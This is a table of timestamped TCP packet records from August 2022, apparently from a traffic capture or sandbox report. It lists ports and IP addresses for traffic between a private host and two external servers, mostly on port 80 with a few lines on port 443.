Aug 23, 2022 03:42:43.827188969 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827192068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827238083 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827286005 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827296972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827311993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827323914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827332020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827373028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827444077 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827480078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827486038 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827523947 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827524900 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827578068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827583075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827619076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827641010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827670097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827713013 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827721119 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827722073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827765942 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827769995 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827810049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827814102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827857018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827860117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827894926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827902079 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827948093 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.827950001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827990055 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.827991009 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828031063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828032970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828074932 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828074932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828114033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828119993 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828155041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828155994 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828210115 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828214884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828259945 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828272104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828316927 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828320026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828367949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828377008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828416109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828425884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828461885 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828473091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828514099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828516960 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828553915 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828555107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828596115 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828598022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828635931 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828639984 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828675032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828677893 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828706026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828716040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828746080 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828747988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828788042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.828788042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.828830004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.841042042 CEST	49761	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:43.841088057 CEST	443	49761	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:43.841195107 CEST	49761	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:43.842164040 CEST	49761	443	192.168.2.4	148.251.234.83
Aug 23, 2022 03:42:43.842179060 CEST	443	49761	148.251.234.83	192.168.2.4
Aug 23, 2022 03:42:43.847987890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.848042965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.848082066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.848120928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.848129988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.848181009 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.848189116 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.848196983 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.848289967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.848464966 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.848483086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.848551035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.848664045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.848726034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.848728895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.848778009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.848814964 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.848855019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.848895073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.848912954 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.848929882 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.848936081 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.848939896 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.848948956 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.848968029 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.848998070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.849039078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.849078894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.849083900 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.849106073 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.849114895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.849122047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.849132061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.849165916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.849180937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.849215031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.849235058 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.849260092 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.852931023 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.852981091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853034973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853055000 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853086948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853101015 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853111982 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853133917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853146076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853202105 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853209019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853255033 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853279114 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853298903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853317022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853374004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853379965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853435040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853439093 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853485107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853509903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853528023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853547096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853599072 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853610039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853660107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853672028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853718042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853724003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853765011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853766918 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853807926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853813887 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853847027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853853941 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853874922 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853897095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.853914976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853952885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853991985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.853993893 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.854006052 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.854012966 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.854022980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.854032040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.854078054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.856667042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.856756926 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.860846996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.860886097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.861028910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.861437082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.861485958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.861499071 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.861529112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.861530066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.861571074 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.861574888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.861615896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.861615896 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.861654997 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.861654997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.861691952 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.861695051 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.861721992 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.861732960 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.861748934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.861759901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.861777067 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.861785889 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.861814976 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.863157988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.863204002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.863223076 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.863236904 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.863248110 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.863267899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.863281965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.863306046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.863308907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.863349915 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.863413095 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.863452911 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.863456011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.863493919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.863495111 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.863537073 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.863620996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.863665104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.863665104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.863706112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.863708019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.863748074 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.863751888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.863794088 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.863795042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.863836050 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.863838911 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.863878012 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.863882065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.863929987 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.863948107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.863972902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.863987923 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.864011049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.864020109 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.864042044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.864058018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.864072084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.864100933 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.864108086 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.864116907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.864130020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.864149094 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.864159107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.864176989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.864186049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.864211082 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.864248991 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.869010925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.869041920 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.869060993 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.869074106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.869095087 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.869101048 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.869113922 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.869117022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.869134903 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.869153976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.869157076 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.869178057 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.869191885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.869201899 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.869216919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.869232893 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.869255066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.869307995 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.869327068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.869348049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.869348049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.869360924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.869374037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.869386911 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.869391918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.869405985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.869465113 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.873656988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.873682022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.873697996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.873712063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.873727083 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.873745918 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.873749971 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.886406898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886446953 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886467934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886486053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886506081 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886524916 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886538982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886538029 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.886554956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886568069 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.886573076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886574030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.886590958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886605024 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886606932 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.886639118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.886668921 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.886831999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886852026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886868000 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886878967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.886881113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886893988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.886917114 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.886949062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886970997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886990070 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.886995077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.887003899 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.887022018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.887048006 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.887161970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.887187004 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.887202978 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.887207985 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.887219906 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.887231112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.887239933 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.887252092 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.887258053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.887275934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.887279034 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.887289047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.887315989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.887335062 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.887485027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.887502909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.887518883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.887530088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.887545109 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.887553930 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.887588024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.888982058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.889008999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.889050007 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.889050961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.889059067 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.889064074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.889090061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.889107943 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.890130043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890151024 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890168905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890181065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:43.890182972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:43.890198946 CEST	49743	80	192.168.2.4	45.95.11.158
